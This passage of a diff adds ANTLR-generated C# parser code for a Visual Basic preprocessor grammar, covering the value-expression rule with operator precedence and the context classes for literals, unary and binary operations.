IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsConstant(this); + } + } + public partial class VsUnaryOperationContext : ValueStmtContext { + public IToken @operator; + public ValueStmtContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS() { return GetToken(VBPreprocessorsParser.PLUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBPreprocessorsParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOT() { return GetToken(VBPreprocessorsParser.NOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBPreprocessorsParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBPreprocessorsParser.RPAREN, 0); } + public VsUnaryOperationContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsUnaryOperation(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsUnaryOperation(this); + } + } + public partial class VsDualOperationContext : ValueStmtContext { + public ValueStmtContext left; + public IToken @operator; + public ValueStmtContext right; + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode POW() { return GetToken(VBPreprocessorsParser.POW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MULT() { return GetToken(VBPreprocessorsParser.MULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DIV() { return GetToken(VBPreprocessorsParser.DIV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MOD() { return GetToken(VBPreprocessorsParser.MOD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS() { return GetToken(VBPreprocessorsParser.PLUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBPreprocessorsParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AMPERSAND() { return GetToken(VBPreprocessorsParser.AMPERSAND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEQ() { return GetToken(VBPreprocessorsParser.NEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LT() { return GetToken(VBPreprocessorsParser.LT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GT() { return GetToken(VBPreprocessorsParser.GT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEQ() { return GetToken(VBPreprocessorsParser.LEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GEQ() { return GetToken(VBPreprocessorsParser.GEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AND() { return GetToken(VBPreprocessorsParser.AND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OR() { return GetToken(VBPreprocessorsParser.OR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode XOR() { return GetToken(VBPreprocessorsParser.XOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQV() { return GetToken(VBPreprocessorsParser.EQV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMP() { return GetToken(VBPreprocessorsParser.IMP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIKE() { return GetToken(VBPreprocessorsParser.LIKE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBPreprocessorsParser.IS, 0); } + public VsDualOperationContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsDualOperation(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsDualOperation(this); + } + } + + [RuleVersion(0)] + public ValueStmtContext valueStmt() { + return valueStmt(0); + } + + private ValueStmtContext valueStmt(int _p) { + ParserRuleContext _parentctx = Context; + int _parentState = State; + ValueStmtContext _localctx = new ValueStmtContext(Context, _parentState); + ValueStmtContext _prevctx = _localctx; + int _startState = 64; + EnterRecursionRule(_localctx, 64, RULE_valueStmt, _p); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 509; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case FALSE: + case TRUE: + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case INTEGERLITERAL: + case DOUBLELITERAL: + case OCTALLITERAL: + { + _localctx = new VsLiteralContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + + State = 459; + ((VsLiteralContext)_localctx).valUnary = literal(); + } + break; + case L_SQUARE_BRACKET: + case IDENTIFIER: + { + _localctx = new VsConstantContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 460; + ((VsConstantContext)_localctx).valUnary = ambiguousIdentifier(); + } + break; + case LPAREN: + { + _localctx = new VsStructContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 461; + Match(LPAREN); + State = 463; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 462; + Match(WS); + } + } + + State = 465; + ((VsStructContext)_localctx).valUnary = valueStmt(0); + State = 476; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,75,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 467; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 466; + Match(WS); + } + } + + State = 469; + Match(COMMA); + State = 471; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 470; + Match(WS); + } + } + + State = 473; + valueStmt(0); + } + } + } + State = 478; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,75,Context); + } + State = 480; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 479; + Match(WS); + } + } + + State = 482; + Match(RPAREN); + } + break; + case PLUS: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 484; + ((VsUnaryOperationContext)_localctx).@operator = Match(PLUS); + State = 486; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 485; + Match(WS); + } + } + + State = 488; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(20); + } + break; + case MINUS: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 489; + ((VsUnaryOperationContext)_localctx).@operator = Match(MINUS); + State = 491; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 490; + Match(WS); + } + } + + State = 493; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(19); + } + break; + case NOT: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 494; + ((VsUnaryOperationContext)_localctx).@operator = Match(NOT); + State = 507; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case WS: + { + State = 495; + Match(WS); + State = 496; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(0); + } + break; + case LPAREN: + { + State = 497; + Match(LPAREN); + State = 499; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 498; + Match(WS); + } + } + + State = 501; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(0); + State = 503; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 502; + Match(WS); + } + } + + State = 505; + Match(RPAREN); + } + break; + default: + throw new NoViableAltException(this); + } + } + break; + default: + throw new NoViableAltException(this); + } + Context.Stop = TokenStream.LT(-1); + State = 658; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,114,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + if ( ParseListeners!=null ) + TriggerExitRuleEvent(); + _prevctx = _localctx; + { + State = 656; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,113,Context) ) { + case 1: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 511; + if (!(Precpred(Context, 18))) throw new FailedPredicateException(this, "Precpred(Context, 18)"); + State = 513; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 512; + Match(WS); + } + } + + State = 515; + ((VsDualOperationContext)_localctx).@operator = Match(POW); + State = 517; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 516; + Match(WS); + } + } + + State = 519; + ((VsDualOperationContext)_localctx).right = valueStmt(19); + } + break; + case 2: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 520; + if (!(Precpred(Context, 17))) throw new FailedPredicateException(this, "Precpred(Context, 17)"); + State = 522; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 521; + Match(WS); + } + } + + State = 524; + ((VsDualOperationContext)_localctx).@operator = TokenStream.LT(1); + _la = TokenStream.LA(1); + if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 281543704576000L) != 0)) ) { + ((VsDualOperationContext)_localctx).@operator = ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 526; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 525; + Match(WS); + } + } + + State = 528; + ((VsDualOperationContext)_localctx).right = valueStmt(18); + } + break; + case 3: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 529; + if (!(Precpred(Context, 16))) throw new FailedPredicateException(this, "Precpred(Context, 16)"); + State = 531; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 530; + Match(WS); + } + } + + State = 533; + ((VsDualOperationContext)_localctx).@operator = TokenStream.LT(1); + _la = TokenStream.LA(1); + if ( !(_la==MINUS || _la==PLUS) ) { + ((VsDualOperationContext)_localctx).@operator = ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 535; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 534; + Match(WS); + } + } + + State = 537; + ((VsDualOperationContext)_localctx).right = valueStmt(17); + } + break; + case 4: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 538; + if (!(Precpred(Context, 15))) throw new FailedPredicateException(this, "Precpred(Context, 15)"); + State = 540; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 539; + Match(WS); + } + } + + State = 542; + ((VsDualOperationContext)_localctx).@operator = Match(AMPERSAND); + State = 544; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 543; + Match(WS); + } + } + + State = 546; + ((VsDualOperationContext)_localctx).right = valueStmt(16); + } + break; + case 5: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 547; + if (!(Precpred(Context, 14))) throw new FailedPredicateException(this, "Precpred(Context, 14)"); + State = 549; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 548; + Match(WS); + } + } + + State = 551; + ((VsDualOperationContext)_localctx).@operator = Match(EQ); + State = 553; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 552; + Match(WS); + } + } + + State = 555; + ((VsDualOperationContext)_localctx).right = valueStmt(15); + } + break; + case 6: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 556; + if (!(Precpred(Context, 13))) throw new FailedPredicateException(this, "Precpred(Context, 13)"); + State = 558; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 557; + Match(WS); + } + } + + State = 560; + ((VsDualOperationContext)_localctx).@operator = Match(NEQ); + State = 562; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 561; + Match(WS); + } + } + + State = 564; + ((VsDualOperationContext)_localctx).right = valueStmt(14); + } + break; + case 7: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 565; + if (!(Precpred(Context, 12))) throw new FailedPredicateException(this, "Precpred(Context, 12)"); + State = 567; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 566; + Match(WS); + } + } + + State = 569; + ((VsDualOperationContext)_localctx).@operator = Match(LT); + State = 571; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 570; + Match(WS); + } + } + + State = 573; + ((VsDualOperationContext)_localctx).right = valueStmt(13); + } + break; + case 8: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 574; + if (!(Precpred(Context, 11))) throw new FailedPredicateException(this, "Precpred(Context, 11)"); + State = 576; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 575; + Match(WS); + } + } + + State = 578; + ((VsDualOperationContext)_localctx).@operator = Match(GT); + State = 580; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 579; + Match(WS); + } + } + + State = 582; + ((VsDualOperationContext)_localctx).right = valueStmt(12); + } + break; + case 9: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 583; + if (!(Precpred(Context, 10))) throw new FailedPredicateException(this, "Precpred(Context, 10)"); + State = 585; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 584; + Match(WS); + } + } + + State = 587; + ((VsDualOperationContext)_localctx).@operator = Match(LEQ); + State = 589; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 588; + Match(WS); + } + } + + State = 591; + ((VsDualOperationContext)_localctx).right = valueStmt(11); + } + break; + case 10: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 592; + if (!(Precpred(Context, 9))) throw new FailedPredicateException(this, "Precpred(Context, 9)"); + State = 594; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 593; + Match(WS); + } + } + + State = 596; + ((VsDualOperationContext)_localctx).@operator = Match(GEQ); + State = 598; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 597; + Match(WS); + } + } + + State = 600; + ((VsDualOperationContext)_localctx).right = valueStmt(10); + } + break; + case 11: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 601; + if (!(Precpred(Context, 8))) throw new FailedPredicateException(this, "Precpred(Context, 8)"); + State = 603; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 602; + Match(WS); + } + } + + State = 605; + ((VsDualOperationContext)_localctx).@operator = Match(AND); + State = 607; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 606; + Match(WS); + } + } + + State = 609; + ((VsDualOperationContext)_localctx).right = valueStmt(9); + } + break; + case 12: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 610; + if (!(Precpred(Context, 7))) throw new FailedPredicateException(this, "Precpred(Context, 7)"); + State = 612; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 611; + Match(WS); + } + } + + State = 614; + ((VsDualOperationContext)_localctx).@operator = Match(OR); + State = 616; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 615; + Match(WS); + } + } + + State = 618; + ((VsDualOperationContext)_localctx).right = valueStmt(8); + } + break; + case 13: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 619; + if (!(Precpred(Context, 6))) throw new FailedPredicateException(this, "Precpred(Context, 6)"); + State = 621; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 620; + Match(WS); + } + } + + State = 623; + ((VsDualOperationContext)_localctx).@operator = Match(XOR); + State = 625; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 624; + Match(WS); + } + } + + State = 627; + ((VsDualOperationContext)_localctx).right = valueStmt(7); + } + break; + case 14: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 628; + if (!(Precpred(Context, 5))) throw new FailedPredicateException(this, "Precpred(Context, 5)"); + State = 630; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 629; + Match(WS); + } + } + + State = 632; + ((VsDualOperationContext)_localctx).@operator = Match(EQV); + State = 634; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 633; + Match(WS); + } + } + + State = 636; + ((VsDualOperationContext)_localctx).right = valueStmt(6); + } + break; + case 15: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 637; + if (!(Precpred(Context, 4))) throw new FailedPredicateException(this, "Precpred(Context, 4)"); + State = 639; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 638; + Match(WS); + } + } + + State = 641; + ((VsDualOperationContext)_localctx).@operator = Match(IMP); + State = 643; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 642; + Match(WS); + } + } + + State = 645; + ((VsDualOperationContext)_localctx).right = valueStmt(5); + } + break; + case 16: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 646; + if (!(Precpred(Context, 3))) throw new FailedPredicateException(this, "Precpred(Context, 3)"); + State = 647; + Match(WS); + State = 648; + ((VsDualOperationContext)_localctx).@operator = Match(LIKE); + State = 649; + Match(WS); + State = 650; + ((VsDualOperationContext)_localctx).right = valueStmt(4); + } + break; + case 17: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 651; + if (!(Precpred(Context, 2))) throw new FailedPredicateException(this, "Precpred(Context, 2)"); + State = 652; + Match(WS); + State = 653; + ((VsDualOperationContext)_localctx).@operator = Match(IS); + State = 654; + Match(WS); + State = 655; + ((VsDualOperationContext)_localctx).right = valueStmt(3); + } + break; + } + } + } + State = 660; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,114,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + UnrollRecursionContexts(_parentctx); + } + return _localctx; + } + + public partial class DelimitedLiteralContext : ParserRuleContext { + public DelimitedLiteralContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_delimitedLiteral; } } + + public DelimitedLiteralContext() { } + public virtual void CopyFrom(DelimitedLiteralContext context) { + base.CopyFrom(context); + } + } + public partial class LtStringContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBPreprocessorsParser.STRINGLITERAL, 0); } + public LtStringContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtString(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtString(this); + } + } + public partial class LtOctalContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OCTALLITERAL() { return GetToken(VBPreprocessorsParser.OCTALLITERAL, 0); } + public LtOctalContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtOctal(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtOctal(this); + } + } + public partial class LtDateContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATELITERAL() { return GetToken(VBPreprocessorsParser.DATELITERAL, 0); } + public LtDateContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtDate(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtDate(this); + } + } + public partial class LtColorContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode HEXLITERAL() { return GetToken(VBPreprocessorsParser.HEXLITERAL, 0); } + public LtColorContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtColor(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtColor(this); + } + } + + [RuleVersion(0)] + public DelimitedLiteralContext delimitedLiteral() { + DelimitedLiteralContext _localctx = new DelimitedLiteralContext(Context, State); + EnterRule(_localctx, 66, RULE_delimitedLiteral); + try { + State = 665; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case HEXLITERAL: + _localctx = new LtColorContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 661; + Match(HEXLITERAL); + } + break; + case OCTALLITERAL: + _localctx = new LtOctalContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 662; + Match(OCTALLITERAL); + } + break; + case DATELITERAL: + _localctx = new LtDateContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 663; + Match(DATELITERAL); + } + break; + case STRINGLITERAL: + _localctx = new LtStringContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 664; + Match(STRINGLITERAL); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LiteralContext : ParserRuleContext { + public LiteralContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_literal; } } + + public LiteralContext() { } + public virtual void CopyFrom(LiteralContext context) { + base.CopyFrom(context); + } + } + public partial class LtIntegerContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBPreprocessorsParser.INTEGERLITERAL, 0); } + public LtIntegerContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtInteger(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtInteger(this); + } + } + public partial class LtDoubleContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLELITERAL() { return GetToken(VBPreprocessorsParser.DOUBLELITERAL, 0); } + public LtDoubleContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtDouble(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtDouble(this); + } + } + public partial class LtDelimitedContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public DelimitedLiteralContext delimitedLiteral() { + return GetRuleContext(0); + } + public LtDelimitedContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtDelimited(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtDelimited(this); + } + } + public partial class LtBooleanContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TRUE() { return GetToken(VBPreprocessorsParser.TRUE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FALSE() { return GetToken(VBPreprocessorsParser.FALSE, 0); } + public LtBooleanContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtBoolean(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtBoolean(this); + } + } + + [RuleVersion(0)] + public LiteralContext literal() { + LiteralContext _localctx = new LiteralContext(Context, State); + EnterRule(_localctx, 68, RULE_literal); + try { + State = 672; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case DOUBLELITERAL: + _localctx = new LtDoubleContext(_localctx); + EnterOuterAlt(_localctx, 